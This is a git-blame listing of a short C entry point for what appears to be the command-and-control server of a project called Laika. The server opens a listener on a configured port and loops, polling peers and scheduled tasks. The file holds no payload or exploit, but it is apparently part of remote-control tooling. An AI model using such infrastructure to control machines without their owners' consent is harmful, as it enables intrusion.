2022-01-25 03:46:29 +00:00
|
|
|
#include <stdio.h>
|
|
|
|
|
2022-02-04 19:15:06 +00:00
|
|
|
#include "ltask.h"
|
2022-01-25 03:46:29 +00:00
|
|
|
#include "cnc.h"
|
|
|
|
|
2022-02-04 19:15:06 +00:00
|
|
|
struct sLaika_taskService tService;
|
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
int main(int argv, char **argc) {
|
2022-03-15 18:05:11 +00:00
|
|
|
struct sLaika_cnc *cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT));
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-02-04 19:15:06 +00:00
|
|
|
laikaT_initTaskService(&tService);
|
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
while (true) {
|
2022-02-04 19:15:06 +00:00
|
|
|
laikaC_pollPeers(cnc, laikaT_timeTillTask(&tService));
|
|
|
|
laikaT_pollTasks(&tService);
|
2022-01-25 03:46:29 +00:00
|
|
|
}
|
|
|
|
|
2022-02-17 23:38:34 +00:00
|
|
|
laikaT_cleanTaskService(&tService);
|
2022-01-25 17:58:36 +00:00
|
|
|
laikaC_freeCNC(cnc);
|
|
|
|
LAIKA_DEBUG("cnc killed\n");
|
2022-01-25 03:46:29 +00:00
|
|
|
return 0;
|
|
|
|
}
|